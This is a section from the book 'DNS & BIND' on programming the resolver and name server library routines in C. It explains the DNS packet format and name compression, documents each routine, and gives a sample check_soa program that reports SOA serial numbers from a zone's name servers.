STRAWB.MIT.EDU has serial number 378
W20NS.MIT.EDU has serial number 378

If you are pressed for time, this short tool will solve your problem, and you can go on to other work. If you find that you are checking lots of zones and that this tool is too slow, you'll want to convert it to a C program. Also, if you want more control over the error messages - rather than relying on nslookup for error messages - then you'll have to write a C program. We'll do just that, later on in this chapter.

Previous: 13.6 Problem Symptoms | DNS & BIND | Next: 14.2 C Programming with the Resolver Library Routines
13.6 Problem Symptoms | Book Index | 14.2 C Programming with the Resolver Library Routines


[Chapter 14] 14.2 C Programming with the Resolver Library Routines

DNS & BIND

DNS & BINDSearch this book
Previous: 14.1 Shell Script Programming with nslookup Chapter 14
Programming with the Resolver and Name Server Library Routines 		Next: 14.3 Perl Programming with Net::DNS

14.2 C Programming with the Resolver Library Routines

Before writing any code, though, you need to be familiar with the DNS packet format and the resolver library routines. In the shell script we just wrote, nslookup parsed the DNS packet. In a C program, you have to do the parsing. Let's start this section on programming by looking at the DNS packet format.

14.2.1 DNS Packet Format

You've seen the DNS packet format before, in Chapter 11, nslookup. It looks like this:

  1. Header section

  2. Question section

  3. Answer section

  4. Authority section

  5. Additional section

The format of the header section is described in RFC 1035 on pages 26-28 and in Appendix A. It looks like this:

query identification number (2 octets)
query response (1 bit)
opcode (4 bits)
authoritative answer (1 bit)
truncation (1 bit)
recursion desired (1 bit)
recursion available (1 bit)
reserved (3 bits)
response code (4 bits)
question count (2 octets)
answer record count (2 octets)
name server record count (2 octets)
additional record count (2 octets)

You'll also find opcode, response code, type, and class values defined in arpa/nameser.h as well as routines to extract this information from a response. We'll discuss these routines, the name server library, shortly.

The question section is described on pages 28-29 of RFC 1035. It looks like this:

domain name (variable length)
query type (2 octets)
query class (2 octets)

The answer, authority, and additional sections are described on pages 29-30 of RFC 1035. These sections comprise some number of resource records that look like this:

domain name (variable length)
type (2 octets)
class (2 octets)
TTL (4 octets)
resource data length (2 octets)
resource data (variable length)

The header section contains a count of how many of these resource records are in each section.

14.2.2 Domain Name Storage

As you can see, the names stored in the DNS packet are of variable length. Unlike C, DNS does not store the names as null-terminated strings. Domain names are stored as a series of length/value pairs ending with an octet of zero. Each label in a domain name is composed of a length octet and a label. A name like venera.isi.edu is stored as:

6 venera  3  isi  3 edu 0

You can imagine how much of a DNS packet could be devoted to storing names. The DNS authors recognized this, and came up with a simple way to compress domain names.

14.2.3 Domain Name Compression

Often an entire domain name or, at least, the trailing labels of a domain name match a name already stored in the response. Domain name compression eliminates the repetition of domain names by storing a pointer to the earlier occurrence of the name instead of inserting the name again. Here is how it works. Suppose a response packet already contains the name venera.isi.edu. If the name vaxa.isi.edu is added to the response, the label vaxa is stored, and then a pointer to the earlier occurrence of isi.edu is added. So how are pointers implemented?

The first two bits of the length octet indicate whether a length/label pair or a pointer to a length/label pair follows. If the first two bits are zero, then the length and label follow. As you may have read elsewhere, a label is limited to 63 characters. That's because the length field has only the remaining six bits for the length of the label - enough to represent the lengths 0-63. If the first two bits of the length octet are ones, then what follows is not a length, but a pointer. The pointer is the last six bits of the length octet and the next octet - 14 bits total. The pointer is an offset from the start of the DNS packet. Now, when vaxa.isi.edu is compressed into a buffer containing only venera.isi.edu, this is what results:

  byte offset: 0 123456 7 890 1 234 5 6 7890 1    2
               -------------+--------------+--------
 pkt contents: 6 venera 3 isi 3 edu 0 4 vaxa 0xC0 7

The 0xC0 is a byte with the high two bits ones and the rest of the bits zeros. Since the high two bits are ones, this is a pointer instead of a length. The pointer value is seven - the last six bits of the first octet are zeros and the second octet is seven. At offset seven in this buffer, you find the rest of the vaxa domain name: isi.edu.

In this example, we only showed compressing two names in a buffer, not a whole DNS packet. A DNS packet would have had a header as well as other fields. This example is intended to give you only an idea of how the domain name compression works. Now the good news: you don't have to care how names are compressed, as long as the library routines do it properly. What you need to know is how parsing a DNS response can get messed up if you are off by one byte. For example, try to expand the name starting with byte two instead of byte one. You'll discover that "v" doesn't make a very good length octet or pointer.

14.2.4 The Resolver Library Routines

The resolver library contains the routines that you need to write your application. You'll use these routines to generate queries. You'll use the name server library routines, explained next, to parse the response.

Here are the header files you must include:

#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>
#include <resolv.h>

These are the resolver library routines:

int res_search(const char *dname,
               int class,
               int type,
               u_char *answer,
               int anslen)

res_search is the "highest" level resolver routine. It is called by gethostbyname. res_search implements the search algorithm on the domain name passed to it. That is, it takes the domain name it receives ( dname ), "completes" the name (if it's not fully qualified) by adding the various "extensions" from the resolver search list, and calls res_query until it receives a successful response, indicating that it found a valid, fully qualified name. In addition to implementing the search algorithm, res_search looks in the file referenced by your HOSTALIASES environment variable. (The HOSTALIASES variable was described in Chapter 6, Configuring Hosts.) So it also takes care of any "private" host aliases you might have. res_search returns the size of the response, or it fills in h_errno and returns -1 if there was an error or the answer count is zero. (h_errno is like errno, but for DNS lookups.)

Therefore, the only parameter that's really of interest to res_search is dname; the others are just passed to res_query and the other resolver routines. The other arguments are:

class

The "address type" of the data you're looking up. This is almost always the constant C_IN, which requests an "internet class" address. These constants are defined in arpa/nameser.h.

type

The type of request that you're making. Again, this is a constant defined in arpa/nameser.h. A typical value would be T_NS, to retrieve a name server record; or T_MX, to retrieve an MX record.

answer

A buffer in which res_search will place the response packet. Its size should be at least PACKETSZ (from arpa/nameser.h) bytes.

anslen

The size of the answer buffer (e.g., PACKETSZ).

res_search returns the size of the response, or -1 if there was an error.

int res_query(const char *dname,
              int class,
              int type,
              u_char *answer,
              int anslen)

res_query is one of the "midlevel" resolver routines. It does all the real work in looking up the domain name; it makes a query packet by calling res_mkquery, sends the query by calling res_send, and looks at enough of the response to determine if your question was answered. In many cases, res_query is called by res_search, which just feeds it the different domain names to look up. As you'd expect, these two functions have the same arguments. res_query returns the size of the response, or it fills in h_errno and returns -1 if there was an error or the answer count was zero.

int res_mkquery(int op,
                const char *dname,
                int class,
                int type,
                const u_char *data,
                int datalen,
                const u_char *newrr,
                u_char *buf,
                int buflen)

res_mkquery creates the query packet. It fills in all the header fields, compresses the domain name into the question section, and fills in the other question fields.

The dname, class, and type arguments are the same as for res_search and res_query. The remaining arguments are:

op

The "operation" to be performed. This is normally QUERY, but it can be IQUERY (inverse query). However, as we've explained before, IQUERY is seldom used. BIND versions 4.9.4 and later, by default, do not even support IQUERY anymore.

data

A buffer containing the data for inverse queries. It is NULL when op is QUERY.

datalen

The size of the data buffer. If data is NULL, then datalen is zero.

newrr

A buffer used for the dynamic update code (covered in Chapter 10, Advanced Features and Security). Unless you are playing with this feature, it is always NULL.

buf

A buffer in which res_mkquery makes the query packet. It should be PACKETSZ or larger, just like the answer buffer in res_search and res_query.

buflen

The size of the buf buffer (e.g., PACKETSZ).

res_mkquery returns the size of the query packet, or -1 if there was an error.

int res_send(const u_char *msg,
             int msglen,
             u_char *answer,
             int anslen)

res_send implements the retry algorithm. It sends the query packet, msg, in a UDP packet, but it can also send it over a TCP stream. The response packet is stored in answer. This routine, of all the resolver routines, is the only one to use black magic (unless you know all about connected datagram sockets). You've seen these arguments before in the other resolver routines:

msg

The buffer containing the DNS query packet

msglen

The size of the msg

answer

The buffer in which to store the DNS response packet

anslen

The size of the answer buffer

res_send returns the size of the response, or -1 if there was an error. If this routine returns -1 and errno is ECONNREFUSED, then there is no name server running on the target name server host.

You can look at errno to see if it is ECONNREFUSED after calling res_search or res_ query. (res_search calls res_query, which calls res_send.) If you want to check errno after calling res_query, then clear errno first. That way, you know the current call to res_send was the one that set errno. However, you don't have to clear errno before calling res_search. res_search clears errno itself before calling res_query.

int res_init(void)

res_init reads resolv.conf and initializes a data structure called _res (more about that later). All of the previously discussed routines will call res_init if they detect that it hasn't been called previously. Or you can call it on your own; this is useful if you want to change some of the defaults before calling the first resolver library routine. If there are any lines in resolv.conf that res_init doesn't understand, it ignores them. res_init always returns zero, even if the manpage reserves the right to return -1.

extern int h_errno;
int herror(const char *s)

herror is a routine like perror, except that it prints out a string based on the value of the external variable h_errno instead of errno. The only argument is:

s

A string used to identify the error message. If a string s is supplied, it is printed first, followed by ": " and then a string based on the value of h_errno.

Here are the possible values of h_errno:

HOST_NOT_FOUND

The domain name does not exist. The return code in the name server response was NXDOMAIN.

TRY_AGAIN

Either the name server is not running, or the name server returned SERVFAIL.

NO_RECOVERY

Either the domain name could not be compressed because it was an invalid domain name (e.g., a name missing a label - movie.edu) or the name server returned FORMERR, NOTIMP, or REFUSED.

NO_DATA

The domain name exists, but there are no data of the requested type.

NETDB_INTERNAL

There was a library error unrelated to the network or name service. Instead, see errno for the problem description.

14.2.5 The _res Structure

Each of the resolver routines (i.e., each routine whose name starts with res_) makes use of a common data structure called _res. You can change the behavior of the resolver routines by changing _res. If you want to change the number of times res_send retries a query, you can change the value of the retry field. If you want to turn off the resolver search algorithm, you turn off the RES_DNSRCH bit from the options mask. You'll find the all-important _res structure in resolv.h:

struct __res_state {
    int      retrans;   /* retransmission time interval */
    int      retry;     /* number of times to retransmit */
    u_long   options;   /* option flags - see below. */
    int      nscount;   /* number of name servers */
    struct sockaddr_in
             nsaddr_list[MAXNS];   /* address of name server */
#define nsaddr nsaddr_list[0]      /* for backward compatibility */
    u_short id;                    /* current packet id */
    char     *dnsrch[MAXDNSRCH+1]; /* components of domain to search */
    char     defdname[MAXDNAME];   /* default domain */
    u_long   pfcode;               /* RES_PRF_ flags - see below. */
    unsigned ndots:4;              /* threshold for initial abs. query */
    unsigned nsort:4;              /* number of elements in sort_list[] */
    char     unused[3];
    struct {
           struct in_addr  addr;   /* address to sort on */
           u_int32_t       mask;
    } sort_list[MAXRESOLVSORT];
};

The options field is a simple bit mask of the enabled options. To turn on a feature, turn on the corresponding bit in the options field. Bit masks for each of the options are defined in resolv.h; the options are:

RES_INIT

If this bit is on, then res_init has been called.

RES_DEBUG

This bit causes resolver debugging messages to be printed, if the resolver routines were compiled with DEBUG, that is. Off is the default.

RES_AAONLY

Requires the answer to be authoritative, not from a name server's cache. It's too bad this isn't implemented; it would be a useful feature. With the BIND resolver's design, this feature would have to be implemented in the name server, and it's not.

RES_PRIMARY

Query the primary server only - again, it's not implemented.

RES_USEVC

Turn this bit on if you'd like the resolver to make its queries over a virtual circuit (TCP) connection instead of with UDP packets. As you might guess, there is a performance penalty for setting up and tearing down a TCP connection. Off is the default.

RES_STAYOPEN

If you are making your queries over a TCP connection, turning this bit on causes the connection to be left open. Otherwise, the connection is torn down after the query has been answered. Off is the default.

RES_IGNTC

If the name server response has the truncation bit set, then the default resolver behavior is to retry the query using TCP. If this bit is turned on, then the truncation bit in the response packet is ignored and the query is not retried using TCP. Off is the default.

RES_RECURSE

The default behavior for the BIND resolver is to make recursive queries. Turning this bit off turns off the "recursion desired" bit in the query packet. On is the default.

RES_DEFNAMES

The default behavior for the BIND resolver is to append the default domain to names that do not have a dot in them. Turning this bit off turns off appending the default domain. On is the default.

RES_DNSRCH

The default behavior for the BIND resolver is to append each entry in the search list to a name that does not end in a dot. Turning this bit off turns off the search list function. On is the default.

RES_INSECURE1

The default behavior for a 4.9.3 or later BIND resolver is to ignore answers from servers that were not queried. Turning this bit on disables this security check. Off (i.e., security check on) is the default.

RES_INSECURE2

The default behavior for a 4.9.3 or later BIND resolver is to ignore answers where the question section of the response does not match the question section of the original query. Turning this bit on disables this security check. Off (i.e., security check on) is the default.

RES_NOALIASES

The default behavior for the BIND resolver is to use aliases defined in the file specified by the user's HOSTALIASES environment variable. Turning this bit on disables the HOSTALIASES feature for 4.9.3 and later BIND resolvers. Previous resolvers did not allow this feature to be disabled. Off is the default.

14.2.6 The Name Server Library Routines

The name server library contains routines you need to parse response packets. Here are the header files you must include:

#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/nameser.h>
#include <resolv.h>

Here are the name server library routines:

int ns_init_parse(const u_char *msg,
                  int msglen,
                  ns_msg *handle)

ns_init_parse is the first routine you must call before you use the other name server library routines. ns_init_parse fills in the data structure pointed to by handle, which is a parameter passed to other routines. The arguments are:

msg

A pointer to the beginning of the response buffer

msglen

The size of the response buffer

handle

A pointer to a data structure filled in by ns_init_parse

ns_init_parse returns zero on success and -1 when it fails to parse the response buffer.

const u_char *ns_msg_base(ns_msg handle)
const u_char *ns_msg_end(ns_msg handle)
int ns_msg_size(ns_msg handle)

These routines return a pointer to the start of the response, a pointer to the end of the response, and the size of the response. They are returning data you passed into ns_init_parse. The only argument is:

handle

A data structure filled in by ns_init_parse

u_int16_t ns_msg_id(ns_msg handle)

ns_msg_id returns the identification from the header section (described earlier) of the response packet. The only argument is:

handle

A data structure filled in by ns_init_parse.

u_int16_t ns_msg_get_flag(ns_msg handle, ns_flag flag)

ns_msg_get_flag returns the "flag" fields from the header section of the response packet. Its arguments are:

handle

A data structure filled in by ns_init_parse.

flag

An enumerated type that can have the following values:

ns_f_qr     /* Question/Response */
ns_f_opcode /* Operation Code */
ns_f_aa     /* Authoritative Answer */
ns_f_tc     /* Truncation Occurred */
ns_f_rd     /* Recursion Desired */
ns_f_ra     /* recursion Available */
ns_f_rcode  /* Response Code */
u_int16_t ns_msg_count(ns_msg handle, ns_sect section)

ns_msg_count returns a counter from the header section of the response packet. Its arguments are:

handle

A data structure filled in by ns_init_parse.

section

An enumerated type that can have the following values:

ns_s_qd  /* Question section */
ns_s_an  /* Answer section */
ns_s_ns  /* Name Server section */
ns_s_ar  /* Additional records sectiona */

int ns_parserr(ns_msg *handle,
               ns_sect section,
               int rrnum,
               ns_rr *rr)

ns_parserr extracts information about a response record and stores it in rr. rr is a parameter passed to other name server libarary routines. The arguments are:

handle

A pointer to a data structure filled in by ns_init_parse.

section

The same parameter described in ns_msg_count.

rrnum

A resource record number for the resource records in this section. Resource records start numbering at 0. ns_msg_count tells you how many resource records are in this section.

rr

A pointer to a data structure to be initialized.

ns_parserr returns zero on success and -1 when it fails to parse the response buffer.

char *ns_rr_name(ns_rr rr)
u_int16_t ns_rr_type(ns_rr rr)
u_int16_t ns_rr_class(ns_rr rr)
u_int32_t ns_rr_ttl(ns_rr rr)
u_int16_t ns_rr_rdlen(ns_rr rr)
const u_char *ns_rr_rdata(ns_rr rr)

These routines return individual fields from a response record. Their only argument is:

rr

A data structure filled in by ns_parserr.

int ns_name_compress(const char *exp_dn,
                     u_char *comp_dn,
                     size_t length,
                     const u_char **dnptrs,
                     const u_char **lastdnptr)

ns_name_compress compresses a domain name. You won't normally call this routine yourself - you'll let res_mkquery do it for you. However, if you need to compress a name for some reason, this is the tool to do it. The arguments are:

exp_dn

The "expanded" domain name that you supply; i.e., a normal null-terminated string containing a fully qualified domain name.

comp_dn

The place where ns_name_compress will store the compressed domain name.

length

The size of the comp_dn buffer.

dnptrs

An array of pointers to previously compressed domain names. dnptrs[0] points to the beginning of the message; the list ends with a NULL pointer. After you've initialized dnptrs[0] to the beginning of the message and dnptrs[1] to NULL, dn_comp updates the list each time you call it.

lastdnptr

A pointer to the end of the dnptrs array. ns_name_compress needs to know where the end of the array is, so it doesn't overrun it.

If you want to use this routine, look at how it is used in res/res_mkquery.c from the BIND source. It's often easier to see how to use a routine from an example than from an explanation. ns_name_compress returns the size of the compressed name, or -1 if there was an error.

int ns_name_uncompress(const u_char *msg,
                       const u_char *eomorig,
                       const u_char *comp_dn,
                       char *exp_dn,
                       size_t length)

ns_name_uncompress expands a "compressed" domain name. You will use this routine if you parse a name server response, as we do in the example that follows. The arguments are:

msg

A pointer to the beginning of your response packet (message).

eomorig

A pointer to the first byte after the message. It is used to make sure that ns_name_uncompress doesn't go past the end of the message.

comp_dn

A pointer to the compressed domain name within the message.

exp_dn

The place where ns_name_uncompress will store the expanded name. You should always allocate an array of MAXDNAME characters for the expanded name.

length

The size of the exp_dn buffer.

ns_name_uncompress returns the size of the compressed name, or -1 if there was an error. You might wonder why ns_name_uncompress returns the size of the compressed name, not the size of the expanded name. It does this because when you call ns_name_uncompress, you are parsing a DNS packet and need to know how much space the compressed name took in the packet so that you can skip over it.

int ns_name_skip(const u_char **ptrptr, const u_char *eom)

ns_name_skip is like ns_name_uncompress, but instead of uncompressing the name, it just skips over it. The arguments are:

ptrptr

A pointer to a pointer to the name to skip over. The original pointer is advanced past the name.

eom

A pointer to the first byte after the message. It is used to make sure that ns_name_skip doesn't go past the end of the message.

ns_name_skip returns zero if successful. It returns -1 when it fails to uncompress the name.

u_int ns_get16(const u_char *cp)
void  ns_put16(u_int s, u_char *cp)

The DNS packets have fields that are unsigned short integer (type, class, and data length, to name a few). ns_get16 returns a 16-bit integer pointed to by cp. ns_put16 assigns the 16-bit value of s to the location pointed to by cp.

u_long ns_get32(const u_char *cp)
void   ns_put32(u_long l, u_char *cp)

These routines are like their 16-bit counterparts, except that they deal with a 32-bit integer instead of a 16-bit integer. The TTL field (time to live) of a resource record is a 32-bit integer.

14.2.7 Parsing DNS Responses

The easiest way to learn how to parse a DNS packet is to look at code that already does it. Assuming that you have the DNS source code, the best file to look through is res/res_debug.c (BIND 4) or src/lib/resolv/res_debug.c (BIND 8). This file has fp_query, the routine that prints out the DNS packets in the name server debugging output. Our sample program traces its parentage to code from this file.

You won't always want to parse the DNS response manually. An "intermediate" way to parse the response is to call p_query, which calls fp_query, to print out the DNS packet. Then use basic UNIX tools, like Perl or awk, to grab what you need. Cricket has been known to wimp out this way.

14.2.8 A Sample Program: check_soa

Here is a C program to solve the same problem that we wrote a shell script for earlier:

/****************************************************************
 * check_soa -- Retrieve the SOA record from each name server   *
 *     for a given domain and print out the serial number.      *
 *                                                              *
 * usage: check_soa domain                                      *
 *                                                              *
 * The following errors are reported:                           *
 *     o There is no address for a server.                      *
 *     o There is no server running on this host.               *
 *     o There was no response from a server.                   *
 *     o The server is not authoritative for the domain.        *
 *     o The response had an error response code.               *
 *     o The response had more than one answer.                 *
 *     o The response answer did not contain an SOA record.     *
 *     o The expansion of a compressed domain name failed.      *
 ****************************************************************/

/* Various header files */
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
#include <arpa/nameser.h>
#include <resolv.h>

/* Error variables */
extern int h_errno;  /* for resolver errors */
extern int errno;    /* general system errors */

/* Our own routines; code included later in this chapter */
void nsError();            /* report resolver errors */
void findNameServers();    /* find a domain's name servers */
void addNameServers();     /* add name servers to our list */
void queryNameServers();   /* grab SOA records from servers */
void returnCodeError();    /* report response packet errors */

/* Maximum number of name servers we will check */
#define MAX_NS 20

Here are the header files that are needed, the declarations for external variables, and the declarations of functions. Notice that we use both h_errno (for the resolver routines) and errno. We've set a limit of 20 name servers that this program will check. You will rarely see a zone with more than ten name servers, so an upper limit of 20 should suffice:

main(argc, argv)
int argc;
char *argv[];
{
    char *nsList[MAX_NS];  /* list of name servers */
    int  nsNum = 0;        /* number of name servers in list */

    /* sanity check: one (and only one) argument? */
    if(argc != 2){
        (void) fprintf(stderr, "usage: %s domain\n", argv[0]);
        exit(1);
    }

    (void) res_init();

    /*
     * Find the name servers for the domain.
     * The name servers are written into nsList.
     */
    findNameServers(argv[1], nsList, &nsNum);

    /*
     * Query each name server for the domain's SOA record.
     * The name servers are read from nsList.
     */
    queryNameServers(argv[1], nsList, nsNum);

    exit(0);
}

The main body of the program is small. We have an array of string pointers, nsList, to store the names of the name servers for the zone. We call the resolver function res_init to initialize the _res structure. It wasn't necessary for this program to call res_init explicitly, since it would have been called by the first resolver routine that used the _res structure. However, if we had wanted to modify the value of any of the _res fields before calling the first resolver routine, we would have made the modifications right after calling res_init. Next, the program calls findNameServers to find all the name servers for the zone referenced in argv[1] and to store them in nsList. Last, the program calls queryNameServers to query each of the name servers in nsList for the SOA record for the zone.

The routine findNameServers follows. This routine queries the local name server for the NS records for the zone. It then calls addNameServers to parse the response packet and store away all the name servers it finds. The header files, arpa/nameser.h and resolv.h, contain declarations we make extensive use of:

/****************************************************************
 * findNameServers -- find all of the name servers for the      *
 *     given domain and store their names in nsList.  nsNum is  *
 *     the number of servers in the nsList array.               *
 ****************************************************************/
void
findNameServers(domain, nsList, nsNum)
char *domain;
char *nsList[];
int  *nsNum;
{
    union {
        HEADER hdr;              /* defined in resolv.h */
        u_char buf[NS_PACKETSZ]; /* defined in arpa/nameser.h */
    } response;                  /* response buffers */
    int responseLen;             /* buffer length */

    ns_msg handle;  /* handle for response packet */

    /*
     * Look up the NS records for the given domain name.
     * We expect the domain to be a fully qualified name, so
     * we use res_query().  If we wanted the resolver search
     * algorithm, we would have used res_search() instead.
     */
    if((responseLen =
           res_query(domain,      /* the domain we care about   */
                     ns_c_in,     /* Internet class records     */
                     ns_t_ns,     /* Look up name server records*/
                     (u_char *)&response,      /*response buffer*/
                     sizeof(response)))        /*buffer size    */
                                        < 0){  /*If negative    */
        nsError(h_errno, domain); /* report the error           */
        exit(1);                  /* and quit                   */
    }

    /*
     * Initialize a handle to this response.  The handle will
     * be used later to extract information from the response.
     */
    if (ns_initparse(response.buf, responseLen, &handle) < 0) {
        fprintf(stderr, "ns_initparse: %s\n", strerror(errno));
        return;
    }

    /*
     * Create a list of name servers from the response.
     * NS records may be in the answer section and/or in the
     * authority section depending on the DNS implementation.
     * Walk through both.  The name server addresses may be in
     * the additional records section, but we will ignore them
     * since it is much easier to call gethostbyname() later
     * than to parse and store the addresses here.
     */

    /*
     * Add the name servers from the answer section.
     */
    addNameServers(nsList, nsNum, handle, ns_s_an);

    /*
     * Add the name servers from the authority section.
     */
    addNameServers(nsList, nsNum, handle, ns_s_ns);
}

/****************************************************************
 * addNameServers -- Look at the resource records from a        *
 *     section.  Save the names of all name servers.            *
 ****************************************************************/

void
addNameServers(nsList, nsNum, handle, section)
char *nsList[];
int  *nsNum;
ns_msg handle;
ns_sect section;
{
    int rrnum;  /* resource record number */
    ns_rr rr;   /* expanded resource record */

    int i, dup; /* misc variables */

    /*
     * Look at all the resource records in this section.
     */
    for(rrnum = 0; rrnum < ns_msg_count(handle, section); rrnum++)
    {
        /*
         * Expand the resource record number rrnum into rr.
         */
        if (ns_parserr(&handle, section, rrnum, &rr)) {
            fprintf(stderr, "ns_parserr: %s\n", strerror(errno));
        }

        /*
         * If the record type is NS, save the name of the
         * name server.
         */
        if (ns_rr_type(rr) == ns_t_ns) {

            /*
             * Allocate storage for the name.  Like any good
             * programmer should, we test malloc's return value,
             * and quit if it fails.
             */
            nsList[*nsNum] = (char *) malloc (MAXDNAME);
            if(nsList[*nsNum] == NULL){
                (void) fprintf(stderr, "malloc failed\n");
                exit(1);
            }

            /* Expand the name server's name */
            if (ns_name_uncompress(
                        ns_msg_base(handle),/* Start of the packet   */
                        ns_msg_end(handle), /* End of the packet     */
                        ns_rr_rdata(rr),    /* Position in the packet*/
                        nsList[*nsNum],     /* Result                */
                        MAXDNAME)           /* Size of nsList buffer */
                                  < 0) {    /* Negative: error       */
                (void) fprintf(stderr, "ns_name_uncompress failed\n");
                exit(1);
            }

            /*
             * Check the name we've just unpacked and add it to
             * the list of servers if it is not a duplicate.
             * If it is a duplicate, just ignore it.
             */
            for(i = 0, dup=0; (i < *nsNum) && !dup; i++)
                dup = !strcasecmp(nsList[i], nsList[*nsNum]);
            if(dup)
                free(nsList[*nsNum]);
            else
                (*nsNum)++;
        }
    }
}

Notice that we don't explicitly check for finding zero name server records. We don't need to check because res_query flags that case as an error; it returns -1 and sets herrno to NO_DATA. If res_query returns -1, we call our own routine, nsError, to print out an error string from h_errno instead of using herror. The herror routine isn't a good fit for our program because its messages assume you are looking up address data (e.g., if h_errno is NO_DATA, the error message is "No address associated with name").

The next routine queries each name server that we've found for an SOA record. In this routine, we change the value of several of the _res structure fields. By changing the nsaddr_list field, we change which server res_send queries. We disable the search list by turning off bits in the options field - all the names that this program handles are fully qualified:

/****************************************************************
 * queryNameServers -- Query each of the name servers in nsList *
 *     for the SOA record of the given domain.  Report any      *
 *     errors encountered.  (e.g., a name server not running or *
 *     the response not being an authoritative response.)  If   *
 *     there are no errors, print out the serial number for the *
 *     domain.                                                  *
 ****************************************************************/
void
queryNameServers(domain, nsList, nsNum)
char *domain;
char *nsList[];
int nsNum;
{
    union {
        HEADER hdr;               /* defined in resolv.h */
        u_char buf[NS_PACKETSZ];  /* defined in arpa/nameser.h */
    } query, response;            /* query and response buffers */
    int responseLen, queryLen;    /* buffer lengths */

    u_char     *cp;       /* character pointer to parse DNS packet */

    struct in_addr saveNsAddr[MAXNS];  /* addrs saved from _res */
    int nsCount;          /* count of addresses saved from _res */
    struct hostent *host; /* structure for looking up ns addr */
    int i;                /* counter variable */

    ns_msg handle;  /* handle for response packet */
    ns_rr rr;       /* expanded resource record */

    /*
     * Save the _res name server list since
     * we will need to restore it later.
     */
    nsCount = _res.nscount;
    for(i = 0; i < nsCount; i++)
      saveNsAddr[i] = _res.nsaddr_list[i].sin_addr;

    /*
     * Turn off the search algorithm and turn off appending
     * the default domain before we call gethostbyname(); the
     * name server names will be fully qualified.
     */
    _res.options &= ~(RES_DNSRCH | RES_DEFNAMES);

    /*
     * Query each name server for an SOA record.
     */
    for(nsNum-- ; nsNum >= 0; nsNum--){

        /*
         * First, we have to get the IP address of every server.
         * So far, all we have are names.  We use gethostbyname
         * to get the addresses, rather than anything fancy.
         * But first, we have to restore certain values in _res
         * because _res affects gethostbyname().  (We altered
         * _res in the previous iteration through the loop.)
         *
         * We can't just call res_init() again to restore
         * these values since some of the _res fields are
         * initialized when the variable is declared, not when
         * res_init() is called.
         */
        _res.options |= RES_RECURSE;  /* recursion on (default) */
        _res.retry = 4;               /* 4 retries (default)    */
        _res.nscount = nsCount;       /* original name servers  */
        for(i = 0; i < nsCount; i++)
            _res.nsaddr_list[i].sin_addr = saveNsAddr[i];

        /* Look up the name server's address */
        host = gethostbyname(nsList[nsNum]);
        if (host == NULL) {
            (void) fprintf(stderr,"There is no address for %s\n",
                                              nsList[nsNum]);
            continue; /* nsNum for-loop */
        }

        /*
         * Now get ready for the real fun.  host contains IP
         * addresses for the name server we're testing.
         * Store the first address for host in the _res
         * structure.  Soon, we'll look up the SOA record...
         */
        (void) memcpy((void *)&_res.nsaddr_list[0].sin_addr,
           (void *)host->h_addr_list[0], (size_t)host->h_length);
        _res.nscount = 1;

        /*
         * Turn off recursion.  We don't want the name server
         * querying another server for the SOA record; this name
         * server ought to be authoritative for this data.
         */
        _res.options &= ~RES_RECURSE;

        /*
         * Reduce the number of retries.  We may be checking
         * several name servers, so we don't want to wait too
         * long for any one server.  With two retries and only
         * one address to query, we'll wait at most 15 seconds.
         */
        _res.retry = 2;

        /*
         * We want to see the response code in the next
         * response, so we must make the query packet and
         * send it ourselves instead of having res_query()
         * do it for us.  If res_query() returned -1, there
         * might not be a response to look at.
         *
         * There is no need to check for res_mkquery()
         * returning -1.  If the compression was going to
         * fail, it would have failed when we called
         * res_query() earlier with this domain name.
         */
        queryLen = res_mkquery(
                     ns_o_query,      /* regular query         */
                     domain,          /* the domain to look up */
                     ns_c_in,         /* Internet type         */
                     ns_t_soa,        /* Look up an SOA record */
                     (u_char *)NULL,  /* always NULL       */
                     0,               /* length of NULL        */
                     (u_char *)NULL,  /* always NULL       */
                     (u_char *)&query,/* buffer for the query  */
                     sizeof(query));  /* size of the buffer    */

        /*
         * Send the query packet.  If there is no name server
         * running on the target host, res_send() returns -1
         * and errno is ECONNREFUSED.  First, clear out errno.
         */
        errno = 0;
        if((responseLen = res_send((u_char *)&query,/* the query  */
                                   queryLen,        /* true length*/
                                   (u_char *)&response,/*buffer  */
                                   sizeof(response)))  /*buf size*/
                                        < 0){          /* error  */
            if(errno == ECONNREFUSED) { /* no server on the host */
                (void) fprintf(stderr,
                    "There is no name server running on %s\n",
                    nsList[nsNum]);
            } else {                   /* anything else: no response */
                (void) fprintf(stderr,
                    "There was no response from %s\n",
                    nsList[nsNum]);
            }
            continue; /* nsNum for-loop */
        }

        /*
         * Initialize a handle to this response.  The handle will
         * be used later to extract information from the response.
         */
        if (ns_initparse(response.buf, responseLen, &handle) < 0) {
            fprintf(stderr, "ns_initparse: %s\n", strerror(errno));
            return;
        }

        /*
         * If the response reports an error, issue a message
         * and proceed to the next server in the list.
         */
        if(ns_msg_getflag(handle, ns_f_rcode) != ns_r_noerror){
            returnCodeError(ns_msg_getflag(handle, ns_f_rcode),
                                                  nsList[nsNum]);
            continue; /* nsNum for-loop */
        }

        /*
         * Did we receive an authoritative response?  Check the
         * authoritative answer bit.  If the server isn't
         * authoritative, report it, and go on to the next server.
         */
        if(!ns_msg_getflag(handle, ns_f_aa)){
            (void) fprintf(stderr,
                "%s is not authoritative for %s\n",
                nsList[nsNum], domain);
            continue; /* nsNum for-loop */
        }

        /*
         * The response should only contain one answer; if more,
         * report the error, and proceed to the next server.
         */
        if(ns_msg_count(handle, ns_s_an) != 1){
            (void) fprintf(stderr,
                "%s: expected 1 answer, got %d\n",
                nsList[nsNum], ns_msg_count(handle, ns_s_an));
            continue; /* nsNum for-loop */
        }

        /*
         * Expand the answer section record number 0 into rr.
         */
        if (ns_parserr(&handle, ns_s_an, 0, &rr)) {
                if (errno != ENODEV){
                        fprintf(stderr, "ns_parserr: %s\n",
                                strerror(errno));
                }
        }

        /*
         * We asked for an SOA record; if we got something else,
         * report the error and proceed to the next server.
         */
        if (ns_rr_type(rr) != ns_t_soa) {
            (void) fprintf(stderr,
                "%s: expected answer type %d, got %d\n",
                nsList[nsNum], ns_t_soa, ns_rr_type(rr));
            continue; /* nsNum for-loop */
        }

        /*
         * Set cp to point the the SOA record.
         */
        cp = (u_char *)ns_rr_rdata(rr);

        /*
         * Skip the SOA origin and mail address, which we don't
         * care about.  Both are standard "compressed names."
         */
        ns_name_skip(&cp, ns_msg_end(handle));
        ns_name_skip(&cp, ns_msg_end(handle));

        /* cp now points to the serial number; print it. */
        (void) printf("%s has serial number %d\n",
            nsList[nsNum], ns_get32(cp));

    } /* end of nsNum for-loop */
}

